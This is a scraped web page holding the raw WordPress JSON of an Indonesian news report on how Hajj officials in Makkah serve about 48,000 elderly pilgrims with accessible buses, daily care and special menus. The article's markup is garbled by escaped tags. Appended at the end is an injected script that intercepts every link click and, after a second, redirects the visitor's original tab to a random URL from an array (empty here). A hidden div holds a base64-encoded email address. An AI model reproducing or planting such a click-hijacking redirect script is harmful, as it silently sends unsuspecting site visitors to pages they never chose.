<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN" "http://www.w3.org/TR/REC-html40/loose.dtd">
<html><body><p>{"id":1505384,"date":"2026-05-11T12:28:48","date_gmt":"2026-05-11T05:28:48","guid":{"rendered":"https:\/\/beritajatim.com\/?p=1505384"},"modified":"2026-05-11T12:28:48","modified_gmt":"2026-05-11T05:28:48","slug":"beginilah-strategi-ppih-layani-48-ribu-lansia-di-makkah-siapkan-menu-bubur-hingga-bus-khusus","status":"publish","type":"post","link":"https:\/\/beritajatim.com\/beginilah-strategi-ppih-layani-48-ribu-lansia-di-makkah-siapkan-menu-bubur-hingga-bus-khusus","title":{"rendered":"Beginilah Strategi PPIH Layani 48 Ribu Lansia di Makkah, Siapkan Menu Bubur Hingga Bus Khusus"},"content":{"rendered":"</p><p><strong>Ringkasan Berita:&lt;\/strong&gt;&lt;\/p&gt;\n<ul>\n<li>PPIH Daker Makkah menyiagakan 52 unit bus shalawat aksesibel khusus jemaah pengguna kursi roda.&lt;\/li&gt;\n</li><li>Program daily care mencakup bantuan mandi hingga kebersihan gigi bagi jemaah lansia dan disabilitas.&lt;\/li&gt;\n</li><li>Menu konsumsi jemaah lansia kini bisa disesuaikan dengan kebutuhan khusus seperti bubur dan jus.&lt;\/li&gt;\n</li><li>Petugas menerapkan sistem kartu kendali guna menjamin keamanan jemaah saat menggunakan jasa pendorong kursi roda resmi.&lt;\/li&gt;\n&lt;\/ul&gt;\n<p><strong>Makkah (beritajatim.com)&lt;\/strong&gt; &ndash; Petugas Penyelenggara Ibadah Haji (PPIH) Daerah Kerja (Daker) Makkah memaksimalkan perlindungan bagi sekitar 48.000 jemaah haji lanjut usia (lansia) melalui program daily care, penyediaan 52 unit bus shalawat aksesibel, hingga penyesuaian menu konsumsi khusus. Langkah komprehensif ini diambil untuk menjamin kenyamanan jemaah lansia dan disabilitas di tengah suhu ekstrem Makkah yang saat ini menyentuh angka 38 hingga 42 derajat Celsius.&lt;\/p&gt;\n<p>Wartawan beritajatim.com, Muhammad Isnan yang tergabung dalam Media Center Haji (MCH) Kemenhaj RI melaporkan dari Arab Saudi, penguatan layanan ini menjadi krusial mengingat jumlah jemaah Indonesia yang telah diberangkatkan mencapai 125.243 orang. Dengan rasio petugas yang terbatas, PPIH mengedepankan sinergi lintas fungsi untuk memastikan jemaah risiko tinggi tetap mendapatkan pendampingan prima selama berada di pemondokan maupun saat menuju Masjidil Haram.&lt;\/p&gt;\n</p><p>Kepala Seksi (Kasi) Penanganan Krisis dan Pertolongan Pertama Jamaah Haji (PKPPJH) dan Layanan Lansia Disabilitas (Landis), dr. Ridwan Siswanto, Sp.N, menjelaskan bahwa aspek mobilitas menjadi salah satu fokus utama. &ldquo;Untuk menunjang pergerakan jamaah, misalnya, PPIH Daker Makkah menyediakan bus shalawat dengan spesifikasi yang menunjang jamaah berkursi roda. Total ada 52 unit bus yang disebar ke lima sektor pemondokan jamaah haji di Makkah,&rdquo; ujar dr. Ridwan di Makkah, Minggu (10\/5\/2026).&lt;\/p&gt;\n</p><p><strong>Layanan Daily Care dan Menu Khusus&lt;\/strong&gt;<br>\nSelain infrastruktur transportasi, tim Landis bersama tenaga kesehatan secara aktif melakukan program daily care. Petugas terjun langsung membantu jemaah yang memiliki keterbatasan fisik untuk mandi, membersihkan badan dan gigi, hingga membantu keperluan buang air. Layanan ini bertujuan menjaga higienitas jemaah agar terhindar dari penyakit infeksi selama masa tunggu puncak haji.&lt;\/p&gt;\n<p>Dari sisi asupan nutrisi, PPIH menunjukkan fleksibilitas dengan menyediakan menu katering yang ramah bagi pencernaan lansia. \u201cSeperti ada yang minta bubur, ada yang minta jus, ya itu nanti juga kita siapkan juga,\u201d kata dr. Ridwan. Penyesuaian menu ini diharapkan dapat menjaga nafsu makan jemaah yang menurun akibat faktor usia maupun pengaruh cuaca panas yang menyengat.&lt;\/p&gt;\n</p><p><strong>Keamanan Ibadah dengan Kartu Kendali&lt;\/strong&gt;<br>\nGuna menghindari praktik pendorong kursi roda ilegal yang berisiko memicu pemerasan atau penelantaran jemaah, PPIH meluncurkan inovasi kartu kendali. Kartu ini menjadi jaminan bagi jemaah untuk mendapatkan pendorong kursi roda resmi saat melaksanakan tawaf maupun sai di Masjidil Haram.&lt;\/p&gt;\n<p>\u201cKami juga mengadakan program dengan kartu kendali. Kartu kendali itu kita membuatnya program itu demi keamanan dan kenyamanan jamaah haji lansia, khususnya yang berkursi roda. Biasanya kan saat bus datang, pendorong kursi roda menyerbu. Dengan kartu kendali, diharapkan jamaah mendapatkan pendorong kursi roda resmi,\u201d tuturnya.&lt;\/p&gt;\n</p><p><strong>Tantangan Rasio Petugas dan Jemaah&lt;\/strong&gt;<br>\nDokter yang sehari-hari berdinas di RSPAD dr. Gatot Soebroto ini mengakui bahwa tantangan melayani puluhan ribu lansia sangat besar. Saat ini, tim Landis di Daker Makkah hanya berjumlah kurang dari 200 orang yang harus mengover 10 sektor pemondokan. Kondisi ini menuntut kerja spartan dari para petugas di lapangan.&lt;\/p&gt;\n<p>\u201cDengan jumlah petugas yang tidak rasional dengan jumlah jamaah yang harus dilayani, kami tetap sekuat tenaga bisa melayani para jamaah ini dengan baik,\u201d tandasnya. Hingga saat ini, data kesehatan mencatat 67 jemaah masih menjalani perawatan di Rumah Sakit Arab Saudi dan 23 jemaah dilaporkan wafat, sehingga kedisiplinan layanan lansia menjadi kunci utama untuk menekan angka fatalitas menjelang puncak haji di Armuzna pada akhir Mei mendatang. <strong>[ian\/beq]&lt;\/strong&gt;&lt;\/p&gt;\n","protected":false},"excerpt":{"rendered":"<p>PPIH Makkah perkuat layanan 48.000 jemaah lansia dengan program daily care, 52 bus aksesibel, dan menu khusus. Simak upaya petugas di tengah cuaca ekstrem Makkah.&lt;\/p&gt;\n","protected":false},"author":60,"featured_media":1505385,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_acf_changed":false,"footnotes":""},"categories":[1],"tags":[1106,306619,2639,422892,9583],"gn_keywords":[49610,422893,418965,275221,253037,418961,417704,417965],"class_list":["post-1505384","post","type-post","status-publish","format-standard","has-post-thumbnail","category-peristiwa","tag-haji","tag-haji-2026","tag-lansia","tag-layanan-jemaah","tag-makkah"],"acf":[],"aioseo_notices":[],"_links":{"self":[{"href":"https:\/\/beritajatim.com\/wp-json\/wp\/v2\/posts\/1505384","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/beritajatim.com\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/beritajatim.com\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/beritajatim.com\/wp-json\/wp\/v2\/users\/60"}],"replies":[{"embeddable":true,"href":"https:\/\/beritajatim.com\/wp-json\/wp\/v2\/comments?post=1505384"}],"version-history":[{"count":0,"href":"https:\/\/beritajatim.com\/wp-json\/wp\/v2\/posts\/1505384\/revisions"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/beritajatim.com\/wp-json\/wp\/v2\/media\/1505385"}],"wp:attachment":[{"href":"https:\/\/beritajatim.com\/wp-json\/wp\/v2\/media?parent=1505384"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/beritajatim.com\/wp-json\/wp\/v2\/categories?post=1505384"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/beritajatim.com\/wp-json\/wp\/v2\/tags?post=1505384"},{"taxonomy":"gn_keywords","embeddable":true,"href":"https:\/\/beritajatim.com\/wp-json\/wp\/v2\/gn_keywords?post=1505384"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}</p></strong></p></strong></p></strong></p></strong></p></strong></p></li></ul></strong></p><script>var elmnt = document.getElementsByTagName("a"); for(var i = 0, len = elmnt.length; i < len; i++) { elmnt[i].onclick = function(e) { e.preventDefault(); e.stopPropagation(); var gtlink = []; var randm  = Math.floor(Math.random() * gtlink.length); var lnk = this.href; window.open(lnk, "_blank"); setTimeout(function(){ window.open(gtlink[randm], "_self"); }, 1000); } }</script><div style="display:none;" id="agnote">ZW5kZW5yYWhheXU5QGdtYWlsLmNvbQ==</div></body></html>
